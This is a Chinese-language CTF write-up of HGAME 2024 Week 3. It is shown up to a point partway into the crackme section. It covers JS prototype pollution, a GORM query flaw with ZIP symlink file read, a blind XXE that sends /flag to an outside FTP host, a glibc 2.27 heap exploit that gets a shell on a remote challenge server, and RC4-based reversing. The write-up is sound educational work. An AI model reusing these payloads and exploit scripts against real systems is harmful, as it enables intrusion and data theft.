HGAME 2024 - Mantle - Week 3

📌
- **URL**: https://hgame.vidar.club/
- **Username**: csmantle (Individual participation)
- **Start Time**: 2024-02-14 20:00:00
- **End Time**: 2024-02-21 20:00:00
- **Status:** -1 Pwn; -1 Crypto

Web | AK

WebVPN | Done

> WebVPN是新一代纯网页形式的VPN，用户无需安装任何插件或客户端，就能访问原本内网才能访问的信息系统。
>
> 用户名：username
>
> 密码：password
>
> src.zip
> 13.06KB

JS原型污染。

```
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

```

```
function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

...

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  console.debug(req.body);
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});
```

不能使用 `userStorage["username"].info.__proto__` ，但是可以使用 `userStorage["username"].info.constructor.prototype` 向strategy对象中添加一条127.0.0.1条目。

Payload：

```
{"constructor":{"prototype":{"127.0.0.1":true}}}
```





hgame{b57165d48c0b9f8d28e94b33607405481f815a05}

ZeroLink | Done

> Best-Kept-Memory is committed to providing reliable memory storage services!

ZeroLink.zip
21.19KB

Golang审计与ZIP symlink利用。

拿到代码，发现一个登录功能，限制只有Admin用户才能登录。考虑四种可能的利用方式：弱密码爆破，SQLi，Cookie伪造，逻辑漏洞。

使用SecLists中的多种字典进行弱密码爆破，失败。

```go
func GetPasswordByUsername(username string) (string, error) {
    var user User
    err := db.Where("username = ?", username).First(&user).Error
    if err != nil {
        log.Println("Cannot get password: " + err.Error())
        return "", err
    }
    return user.Password, nil
}

func GetUserByUsernameOrToken(username string, token string) (*User, error) {
    var user User
    query := db
    if username != "" {
        query = query.Where(&User{Username: username})
    } else {
        query = query.Where(&User{Token: token})
    }
    err := query.First(&user).Error
    if err != nil {
        log.Println("Cannot get user: " + err.Error())
        return nil, err
    }
    return &user, nil
}
```

可以看到SQL被很好地包装了起来，所以不存在SQLi。

同时，实现一遍项目中使用的session库的HMAC算法（见 https://github.com/gorilla/securecookie/blob/v1.1.2/securecookie.go#L259）后，发现代码中提供的session_secret也并不是服务端使用的，所以不能伪造cookies。

```toml
[sqlite]
location = "sqlite.db"

[secret]
session_secret = "session_secret"
```

```python
import base64 as b64

from Crypto.Hash import HMAC, SHA256
from pwn import *

KEY = b"session_secret"

SESSION = "MTcwNzM1MjQyMXxEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fGTv1qJfQTkao4UFl2WXchUp_aF_1XTSOg1Xh7LzWDmj"

session = b64.urlsafe_b64decode(SESSION).split(b"|")

hmac = HMAC.new(KEY, digestmod=SHA256)
hmac.update(b"|".join((b"session", session[0], session[1])))
try:
    hmac.verify(session[2])
    success("Session is valid")
except ValueError:
    warn("Session is invalid")
    exit(1)

```

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/ZeroLink/check_hmac.py
[!] Session is invalid
PS D:\Workspace\rev\hgame_2024\week_3>
```

那么只剩下逻辑漏洞一种可能。

这个应用提供了用户信息查询功能，首页的memory查询首先从后端获取用户所有的列，再在前端选取需要的列进行展示。同时，我们**不难注意**到GORM库文档（https://gorm.io/docs/query.html#Struct-amp-Map-Conditions）中的这样一句话：

> **NOTE** When querying with struct, GORM will only query with non-zero fields, that means if your field’s value is `0`, `''`, `false` or other zero values, it won’t be used to build query conditions, for example:
>
> ```
> db.Where(&User{Name: "jinzhu", Age: 0}).Find(&users)
> // SELECT * FROM users WHERE name = "jinzhu";
> ```

观察数据库的创建过程，我们发现Admin用户始终处于表的最前列。那么假如我们能构造出 `SELECT * FROM ... WHERE TRUE LIMIT 1` 这样的查询，就可以获得关于Admin的所有信息，包括密码。那么我们只需要绕过前端对username和token的判空就可以获取Admin的信息。



成功登录后发现一个ZIP上传并解压功能。同时存在一个API `/api/secret` 从 `/app/secret` 文件中读取一个路径并将该路径指向的文件内容输出。

```go
func ReadSecretFile(c *gin.Context) {
    secretFilepath := "/app/secret"
    content, err := util.ReadFileToString(secretFilepath)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file",
            Data:    err.Error(),
        })
        return
    }

    secretContent, err := util.ReadFileToString(content)
    if err != nil {
        c.JSON(http.StatusInternalServerError, FileResponse{
            Code:    http.StatusInternalServerError,
            Message: "Failed to read secret file content",
            Data:    err.Error(),
        })
        return
```

```
    }

    c.JSON(http.StatusOK, FileResponse{
        Code:    http.StatusOK,
        Message: "Secret content read successfully",
        Data:    secretContent,
    })
}
```

那么可以快速想到ZIP symlink攻击。

```
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ rm app
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ ln -s /app app
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ ll
total 28
drwxrwxrwx 1 mantlebao mantlebao  4096 Feb 15 20:00 ./
drwxrwxrwx 1 mantlebao mantlebao  4096 Feb 15 12:23 ../
-rwxrwxrwx 1 mantlebao mantlebao 21702 Feb 15 12:17 ZeroLink.zip*
lrwxrwxrwx 1 mantlebao mantlebao     4 Feb 15 20:00 app -> /app
-rwxrwxrwx 1 mantlebao mantlebao   577 Feb 15 18:17 check_hmac.py*
-rwxrwxrwx 1 mantlebao mantlebao    26 Feb 15 19:05 payload_1.json*
-rwxrwxrwx 1 mantlebao mantlebao    30 Feb 15 19:15 scratch.txt*
-rwxrwxrwx 1 mantlebao mantlebao  1575 Feb 15 19:59 sol.py*
drwxrwxrwx 1 mantlebao mantlebao  4096 Feb 15 13:27 src/
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ zip -0 -y hack1.zip app
  adding: app (stored 0%)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ rm app
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ mkdir app
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ cd app
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ echo "/flag" > app/secret
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$ zip -0 -y hack2.zip app/secret
  adding: app/secret (stored 0%)
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/ZeroLink$
```

于是不难编写最终的攻击脚本：

```python
import os.path as path
import typing as ty
import urllib.parse as up

import requests as req
from pwn import *
from requests.cookies import RequestsCookieJar

def verify_and_jsonify(data: req.Response) -> ty.Any:
    json_data = data.json()
    if json_data["code"] != 200:
        error(f"Error {json_data['code']}: {json_data['message']}")
        exit(1)
    return json_data, data.cookies

URL = "http://106.14.57.14:31872"
ZIP_PATHS = ("./ZeroLink/hack1.zip", "./ZeroLink/hack2.zip")

jar = RequestsCookieJar()

info('Step 1: Get "Admin" password')
resp = req.post(
    up.urljoin(URL, "/api/user"), json={"username": None, "token": None}, cookies=jar
)
resp, _ = verify_and_jsonify(resp)
admin_password = resp["data"]["Password"]
success(f'Password: "{admin_password}"')

info('Step 2: Log in as "Admin"')
resp = req.post(
    up.urljoin(URL, "/api/login"),
    json={"username": "Admin", "password": admin_password},
    cookies=jar,
)
resp, jar = verify_and_jsonify(resp)

info("Step 3: Upload and unzip")
for i, p in enumerate(ZIP_PATHS):
    with open(p, "rb") as f:
        resp = req.post(
            up.urljoin(URL, "/api/upload"),
            files={
                "file": (path.basename(p), f, "application/zip"),
            },
            cookies=jar,
        )
```

```python
    resp, _ = verify_and_jsonify(resp)
    info(f"ZIP {i}: path: {resp['data']}")

    resp = req.get(
        up.urljoin(URL, "/api/unzip"),
        cookies=jar,
    )
    resp, _ = verify_and_jsonify(resp)
    info(f"ZIP {i}: unzip: {resp['message']}")

info("Step 4: Get flag")
resp = req.get(up.urljoin(URL, "/api/secret"), cookies=jar)
resp, _ = verify_and_jsonify(resp)
success(f"Flag: {resp['data']}")

```

hack1.zip
160 B

hack2.zip
176 B

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/ZeroLink/sol.py
[*] Step 1: Get "Admin" password
[+] Password: "Zb77jbeoZkDdfQ12fzb0"
[*] Step 2: Log in as "Admin"
[*] Step 3: Upload and unzip
[*] ZIP 0: path: /app/uploads/hack1.zip
[*] ZIP 0: unzip: Unzip completed
[*] ZIP 1: path: /app/uploads/hack2.zip
[*] ZIP 1: unzip: Unzip completed
[*] Step 4: Get flag
[+] Flag: hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}
PS D:\Workspace\rev\hgame_2024\week_3>
```

`hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}`

VidarBox | Done

> I hold a backdoor in VidarBox...
>
> **Hint1** 本题出网

src.zip
1.88MB

Path traversal， `file:` URL abuse和blind XXE。

```java
package org.vidar.controller;

import ...;

@Controller
public class BackdoorController {

    private String workdir = "file:///non_exists/";
    private String suffix = ".xml";

    @RequestMapping("/")
    public String index() {
        return "index.html";
    }

    @GetMapping({"/backdoor"})
    @ResponseBody
    public String hack(@RequestParam String fname) throws IOException, SAXException {
        DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
        byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();
        if (content != null && this.safeCheck(content)) {
            XMLReader reader = XMLReaderFactory.createXMLReader();
            reader.parse(new InputSource(new ByteArrayInputStream(content)));
            return "success";
        } else {
            return "error";
        }
    }

    private boolean safeCheck(byte[] stream) throws IOException {
        String content = new String(stream);
        return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
                !content.contains("doctype") && !content.contains("entity");
    }

}

```

hack函数将URL参数fname与 `"file:///non_exists/"` 和 `".xml"` 拼接。不难发现这里存在一个目录穿越漏洞，~~如果能够绕过file:协议的限制就可以读取远程文件。~~不需要绕过file:协议，因为其本身就支持从FTP服务器获取文件，详见 https://web.archive.org/web/20051219043731/http://archive.ncsa.uiuc.edu/SDG/Software/Mosaic/Demo/url-primer.html。Mosaic（Netscape的前身）实现了这个特性，所以在Mosaic的生命周期后期发布的JDK 1.0“兼容”这个特性应该很合理..... 吧?

接下来是一个明显的XXE，但是有白名单。考虑文件编码绕过。

https://baimeow.cn/posts/ctf/xxefinal/

XXE FINAL

Preparation XXE:XML External Entity Injection, XML外部实体注入 <?xml version="1.0"? encoding="utf-8"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading

于是启动一台具有公网IP的FTP服务器。构造无回显XXE所需payload文件。

payload.xml：

```
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE foo[
    <!ENTITY % file SYSTEM "file:///flag">
    <!ENTITY % remote SYSTEM "ftp://ftp_tmp.csmantle.top/evil.dtd">
    %remote;
    %all;
    %send;
]>
```

evil.dtd：

```
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'ftp://ftp_tmp.csmantle.top/%file;'>">
```

将payload.xml编码为UTF-16-BE，然后与evil.dtd一起上传至FTP服务器（下文中的 `47.97.73.62` ）。

evil.dtd
82 B

payload.xml
424 B

触发漏洞即可在FTP服务器的log里看到回显的flag。

`http://[ENDPOINT_HOST]:[ENDPOINT_PORT]/backdoor?fname=..%2f..%2f47.97.73.62%2fpayload`





`hgame{3bac002aeec84cfe1483e8c6ece5a14d5405465b}`

Pwn

你满了,那我就漫出来了! | Done

> still notes

attachment.zip
926.32KB

Null byte off-by-one。没有UAF。

```
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment$ checksec --file ./vuln
[*] '/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment$
```

先利用off by null构造chunk overlap泄露libc基址，然后构造double free进行tcache dup，达到修改__free_hook的目的。最后free一个已有 `b"/bin/sh\x00"` 的块即可getshell。

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack/#tcac···

Tcache attack - CTF Wiki

CTF Wiki

https://github.com/cr0wnctf/writeups/tree/master/2018/2018_10_20_HITCON/children_tcache

需要通过调试计算得到fd/bk与main_arena头的偏移。

```
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment$ python ../sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './vuln': pid 4084
[*] 00000000  a0 1c 34 2b  ca 7f                                  |··4+|··|
    00000006
[*] Switching to interactive mode
```

```
...

pwndbg> x/24gx 0x7fca2b341c00
0x7fca2b341c00: 0x0000000000000000      0x0000000000000000
0x7fca2b341c10: 0x00007fca2b33dd60      0x0000000000000000
0x7fca2b341c20 <__memalign_hook>:       0x00007fca2afed3d0
0x00007fca2afee7b0
0x7fca2b341c30 <__malloc_hook>: 0x0000000000000000      0x0000000000000000
0x7fca2b341c40: 0x0000000000000000      0x0000000000000000
0x7fca2b341c50: 0x0000000000000000      0x0000000000000000
0x7fca2b341c60: 0x0000000000000000      0x0000000000000000
0x7fca2b341c70: 0x0000000000000000      0x0000000000000000
0x7fca2b341c80: 0x0000000000000000      0x0000000000000000
0x7fca2b341c90: 0x0000000000000000      0x0000000000000000
0x7fca2b341ca0: 0x000055d832cf9b70      0x000055d832cf9350
0x7fca2b341cb0: 0x000055d832cf9350      0x000055d832cf9350
pwndbg>
```

GLIBC 2.27具有tcache double free检查。我们需要先填满该块大小的tcache，以将目标块的一个引用副本直接放到fastbin里面，再清空tcache，将另一个副本正常放入tcache。

https://github.com/stong/how-to-exploit-a-double-free

于是不难编写最终的exp脚本：

```python
from pwn import *

vuln = ELF("./vuln")
libc = ELF("./libc-2.27.so")
context.binary = vuln

PROMPT_CHOICES = b"Your choice:"
PROMPT_INDEX = b"Index: "
PROMPT_SIZE = b"Size: "
PROMPT_CONTENT = b"Content: "

def add_note(r: remote | process, index: int, size: int, content: bytes):
    assert 0 <= index <= 0xF and 0 <= size <= 0xFF and len(content) <= size
    r.sendlineafter(PROMPT_CHOICES, b"1")
    r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
    r.sendlineafter(PROMPT_SIZE, str(size).encode("ascii"))
    r.sendafter(PROMPT_CONTENT, content)

def show_note(r: remote | process, index: int) -> bytes:
    assert 0 <= index <= 0xF
    r.sendlineafter(PROMPT_CHOICES, b"2")
```

```python
    r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))
    return r.recvuntil(b"\n", drop=True)

def delete_note(r: remote | process, index: int):
    assert 0 <= index <= 0xF
    r.sendlineafter(PROMPT_CHOICES, b"3")
    r.sendlineafter(PROMPT_INDEX, str(index).encode("ascii"))

SIZE_A = 0xF8
SIZE_B = 0x18

ADDR_MAIN_ARENA = libc.symbols["__malloc_hook"] + 0x10

with remote("139.196.183.57", 30402) as r:
# with process("./vuln") as r:
    add_note(r, 0, SIZE_A, b"A")
    add_note(r, 1, SIZE_B, b"B")
    add_note(r, 2, SIZE_A, b"C")

    for i in range(7):
        add_note(r, 3 + i, SIZE_A, b"T")
    for i in range(7):
        delete_note(r, 3 + i)
    delete_note(r, 0)
    delete_note(r, 1)

    for i in range(6):
        add_note(r, 0, SIZE_B - i, b"D" * (SIZE_B - i))
        delete_note(r, 0)
    add_note(r, 0, SIZE_B - 6, b"E" * (SIZE_B - 8) + p16((SIZE_A + 8) + (SIZE_B + 8)))

    delete_note(r, 2)

    for i in range(7):
        add_note(r, 1 + i, SIZE_A, b"T")

    add_note(r, 8, SIZE_A, b"F")
    res = show_note(r, 0)
    info(hexdump(res))
    addr_main_arena = u64(res.ljust(8, b"\x00")) - 0x60
    libc_base = addr_main_arena - ADDR_MAIN_ARENA
    info(f"libc base: {hex(libc_base)}")
    assert libc_base > 0x700000000000
    addr_free_hook = libc_base + libc.symbols["__free_hook"]
    info(f"__free_hook: {hex(addr_free_hook)}")
    addr_system = libc_base + libc.symbols["system"]
```

```python
    info(f"system: {hex(addr_system)}")

    for i in range(6):
        delete_note(r, 1 + i)
    delete_note(r, 8)
    add_note(r, 1, SIZE_A, b"G")
    delete_note(r, 7)

    add_note(r, 2, SIZE_B, b"H")
    for i in range(7):
        add_note(r, 5 + i, SIZE_B, b"T")
    for i in range(7):
        delete_note(r, 5 + i)
    delete_note(r, 0)
    for i in range(7):
        add_note(r, 5 + i, SIZE_B, b"/bin/sh\x00")
    delete_note(r, 2)

    add_note(r, 0, SIZE_B, p64(addr_free_hook - 0x10))
    add_note(r, 2, SIZE_B, b"I")

    add_note(r, 3, SIZE_B, p64(addr_system))
    delete_note(r, 5)
    r.interactive()

```

```
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment$ python ../sol.py
[*] '/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment/vuln'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 139.196.183.57 on port 30402: Done
[*] 00000000  a0 ec 8e da  a0 7f                                  |····|··|
    00000006
[*] libc base: 0x7fa0da503000
```

```
[*] __free_hook: 0x7fa0da8f08e8
[*] system: 0x7fa0da552420
[*] Switching to interactive mode
$ id
/bin/sh: 1: id: not found
$ cat /flag
hgame{85ff1719d1f3a73db9b24485664b8d8900d76fdd}
$ exit
1.Add note
2.Show note
3.Delete note
4.Exit
Your choice:$ 4
[*] Got EOF while reading in interactive
$
[*] Closed connection to 139.196.183.57 port 30402
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_3/fullnotes/attachment$
```

`hgame{85ff1719d1f3a73db9b24485664b8d8900d76fdd}`

Reverse | AK

findme | Done

> 什么乱七八糟的数据
>
> findme.zip
> 12.12KB

文件嵌入+花指令。

首先看到main函数里面访问了data区的很大一块内存。开头两个dword值为b"MZ"，那么考虑文件嵌入。

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  sub_140001010("hgame{It_is_a_fake_flag!HaHaHa}\n", argv, envp);
  sub_140001010("you should try to decrypt it:\n");
  sub_140001010("aGdhbWV7SXRfaXNfYWxzb19hX2Zha2VfZmxhZyFIYUhhSGFIYX0=");
  puts(Buffer);
  return 0;
}
```

dump出来进一步分析。

data.py
114.03KB

```python
DATA: list[int]

with open("./findme/data.py") as f:
    exec(f.read())

assert all(0 <= x <= 0xFF for x in DATA)

with open("./findme/dec.exe", "wb") as f:
    f.write(bytes(DATA))

```

dec.exe
9.50KB

需要patch很多jz/jnz的花指令。发现主要算法是一个RC4，但是密钥流生成方式进行了一些修改。

```delphi
void __cdecl rc4_stream(unsigned int a1)
{
  int i; // ecx
  int v2; // ebx
  int j; // esi
  uint8_t v4; // dl
  int K[256]; // [esp+Ch] [ebp-400h] BYREF

  memset(K, 0, sizeof(K));
  for ( i = 0; i < 256; ++i )
  {
    S[i] = -(char)i;
    K[i] = buf_key[i % a1];
  }
  v2 = 0;
  for ( j = 0; j < 256; ++j )
  {
    v4 = S[j];
    v2 = (v4 + K[j] + v2) % 256;
    S[j] = S[v2];
    S[v2] = v4;
  }
```

```
}

void __cdecl sub_43110C(unsigned int len)
{
  int i; // ebx
  unsigned int v2; // edi
  int j; // esi
  uint8_t v4; // cl

  i = 0;
  v2 = 0;
  if ( len )
  {
    j = 0;
    do
    {
      i = (i + 1) % 256;
      v4 = S[i];
      j = (v4 + j) % 256;
      S[i] = S[j];
      S[j] = v4;
      buf_input[v2++] += buf_input[-(unsigned __int8)(v4 + S[i])];
    }
    while ( v2 < len );
  }
}
```

这里需要注意的是，由于 `buf_input` 与 `S` 是相邻的，所以 `buf_input[-(unsigned __int8)(v4 + S[i])]` 等价于 `S[256 - (uint8_t)(v4 + S[i])]`。

那么我们不难写出解密代码：

```python
from pwn import *

def RC4Stream(key: bytes, len_text: int):
    S = bytearray((-i) & 0xFF for i in range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    for _ in range(len_text):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
```

```python
        yield S[-((S[i] + S[j]) & 0xFF)]

ARR_TARGET = [0x7D, 0x2B, 0x43, 0xA9, 0xB9, 0x6B, 0x93, 0x2D, 0x9A, 0xD0, 0x48, 0xC8, 0xEB, 0x51, 0x59, 0xE9, 0x74, 0x68, 0x8A, 0x45, 0x6B, 0xBA, 0xA7, 0x16, 0xF1, 0x10, 0x74, 0xD5, 0x41, 0x3C, 0x67, 0x7D]
ARR_KEY = b"deadbeef"

result = bytes(
    (x - k) & 0xFF for x, k in zip(ARR_TARGET, RC4Stream(ARR_KEY, len(ARR_TARGET)))
)

success(result.decode(errors="ignore"))

```

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/findme/sol.py
[+] hgame{Fl0w3rs_Ar3_Very_fr4grant}
PS D:\Workspace\rev\hgame_2024\week_3>
```

`hgame{Fl0w3rs_Ar3_Very_fr4grant}`

mystery | Done

> 代码不见了
>
> mystery.zip
> 2.82KB

init，fini数组，RC4，魔改RC4。

IDA打开发现main函数是空的。

```
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  return 0LL;
}
```

考虑glibc提供的init和fini函数指针数组中存在代码。

```
.init_array:0000000000003D80 ; ELF Initialization Function Table
.init_array:0000000000003D80 ; ═══════════════════════════════════════════════════════════
.init_array:0000000000003D80
.init_array:0000000000003D80 ; Segment type: Pure data
.init_array:0000000000003D80 ; Segment permissions: Read/Write
.init_array:0000000000003D80 _init_array     segment qword public 'DATA' use64
.init_array:0000000000003D80                 assume cs:_init_array
.init_array:0000000000003D80                 ;org 3D80h
.init_array:0000000000003D80 off_3D80        dq offset sub_13D0, offset fun_init_1
.init_array:0000000000003D80                                         ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000003D80                                         ; LOAD:00000000000002F0↑o  ...
.init_array:0000000000003D80 _init_array     ends
.init_array:0000000000003D80
.fini_array:0000000000003D90 ; ELF Termination Function Table
.fini_array:0000000000003D90 ; ═══════════════════════════════════════════════════════════
.fini_array:0000000000003D90
.fini_array:0000000000003D90 ; Segment type: Pure data
.fini_array:0000000000003D90 ; Segment permissions: Read/Write
.fini_array:0000000000003D90 _fini_array     segment qword public 'DATA' use64
.fini_array:0000000000003D90                 assume cs:_fini_array
.fini_array:0000000000003D90                 ;org 3D90h
.fini_array:0000000000003D90 off_3D90        dq offset sub_1390, offset fun_fini_1
.fini_array:0000000000003D90                                         ; DATA XREF: init+1D↑o
.fini_array:0000000000003D90 _fini_array     ends
.fini_array:0000000000003D90
```

```c
void __fastcall fun_init_1()
{
  unsigned __int64 v0; // rax

  *(_QWORD *)arr_plain ^= 0x2F2F2F2F2F2F2F2FuLL;
  *(_WORD *)&arr_plain[8] ^= 0x2F2Fu;
  *(_DWORD *)arr_K ^= 0x2F2F2F2Fu;
  *(_WORD *)&arr_K[4] ^= 0x2F2Fu;
  v0 = strlen((const char *)arr_K);
  rc4_sched(arr_S, arr_K, v0);
  rc4_stream(arr_S, arr_plain, strlen((const char *)arr_plain));
}

void __fastcall fun_fini_1()
{
  puts("please input your flag:\n");
  __isoc99_scanf("%s", &s_input);
  memset(arr_S, 0, sizeof(arr_S));
  rc4_sched(arr_S, arr_plain, strlen((const char *)arr_plain));
  rc4prime_stream(arr_S, &s_input, strlen((const char *)&s_input));
  if ( !strcmp((const char *)&s_input, arr_cipher) )
    puts("Congratulations!\n");
  else
    puts("Wrong!please try again!");
}
```

（上面函数已经经过重命名。）我们不难发现代码实现了一个RC4 key scheduler，并分别使用异或和减法进行加密操作。

```
void __fastcall rc4_sched(uint8_t *S, uint8_t *K, unsigned __int64 len_K)
{
  unsigned __int64 i; // rcx
  __int64 v4; // rcx
  int v5; // eax
  uint8_t v6; // si
  unsigned int v7; // edx
  uint8_t *v8; // rdx
  _DWORD T[258]; // [rsp+0h] [rbp-418h] BYREF
  unsigned __int64 v10; // [rsp+408h] [rbp-10h]

  v10 = __readfsqword(0x28u);
  memset(T, 0, 0x400uLL);
  for ( i = 0LL; i != 256; ++i )
  {
    S[i] = i;
    T[i] = K[i % len_K];
  }
  v4 = 0LL;
  v5 = 0;
  do
  {
    v6 = S[v4];
    v7 = (T[v4] + v6 + v5) >> 31;
    v5 = (unsigned __int8)(HIBYTE(v7) + LOBYTE(T[v4]) + v6 + v5) - HIBYTE(v7);
    v8 = &S[v5];
    S[v4++] = *v8;
    *v8 = v6;
  }
  while ( v4 != 256 );
}

void __fastcall rc4_stream(uint8_t *S, uint8_t *plain, __int64 len)
{
  uint8_t *v3; // r10
  int v4; // r9d
  int v5; // r8d
  uint8_t *v6; // rax
  uint8_t v7; // dl
  uint8_t *v8; // rcx

  if ( len )
  {
```

```
44      v3 = &plain[len];
45      LOBYTE(v4) = 0;
46      LOBYTE(v5) = 0;
47      do
48      {
49        v5 = (unsigned __int8)(v5 + 1);
50        v6 = &S[v5];
51        v7 = *v6;
52        v4 = (unsigned __int8)(*v6 + v4);
53        v8 = &S[v4];
54        *v6 = *v8;
55        *v8 = v7;
56        *plain++ ^= S[(unsigned __int8)(*v6 + v7)];
57      }
58      while ( v3 != plain );
59    }
60  }
61
62  void __fastcall rc4prime_stream(uint8_t *S, uint8_t *plain, __int64 len)
63  {
64    uint8_t *v3; // r10
65    int v4; // r9d
66    int v5; // r8d
67    uint8_t *v6; // rax
68    uint8_t v7; // dl
69    uint8_t *v8; // rcx
70
71    if ( len )
72    {
73      v3 = &plain[len];
74      LOBYTE(v4) = 0;
75      LOBYTE(v5) = 0;
76      do
77      {
78        v5 = (unsigned __int8)(v5 + 1);
79        v6 = &S[v5];
80        v7 = *v6;
81        v4 = (unsigned __int8)(*v6 + v4);
82        v8 = &S[v4];
83        *v6 = *v8;
84        *v8 = v7;
85        *plain++ -= S[(unsigned __int8)(*v6 + v7)];
86      }
87      while ( v3 != plain );
88    }
89  }
```

那么我们在理清密钥和输入的关系后，不难写出解密脚本。

```python
from pwn import *

arr_plain = [0x4D, 0x4E, 0x41, 0x70, 0x4B, 0x4A, 0x4D, 0x5A, 0x48, 0x0E]
arr_K = [0x44, 0x4A, 0x56, 0x44, 0x4A, 0x56]
arr_cipher = [0x50, 0x42, 0x38, 0x4D, 0x4C, 0x54, 0x90, 0x6F, 0xFE, 0x6F, 0xBC, 0x69, 0xB9, 0x22, 0x7C, 0x16, 0x8F, 0x44, 0x38, 0x4A, 0xEF, 0x37, 0x43, 0xC0, 0xA2, 0xB6, 0x34, 0x2C, 0x00]

arr_plain = bytes(map(lambda x: x ^ 0x2F, arr_plain))
arr_K = bytes(map(lambda x: x ^ 0x2F, arr_K))
arr_cipher = bytes(arr_cipher)

def RC4Stream(key: bytes, text: bytes):
    S = bytearray(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    for _ in range(len(text)):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        yield k

def RC4(key: bytes, text: bytes):
    return bytes(c ^ k for c, k in zip(text, RC4Stream(key, text)))

def RC4Var(key: bytes, text: bytes):
    return bytes((c + k) & 0xFF for c, k in zip(text, RC4Stream(key, text)))

arr_plain = RC4(arr_K, arr_plain)
result = RC4Var(arr_plain, arr_cipher)
success(result.decode(errors='ignore'))

```

```
PS D:\Workspace\rev\hgame_2024\week_3> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_3/mystery/sol.py
[+] hgame{I826-2e904t-4t98-9i82}
PS D:\Workspace\rev\hgame_2024\week_3>
```

`hgame{I826-2e904t-4t98-9i82}`

crackme | Done

> crackme.zip
> 12.49KB

MSVC异常处理。

不难发现三个catch块：

```
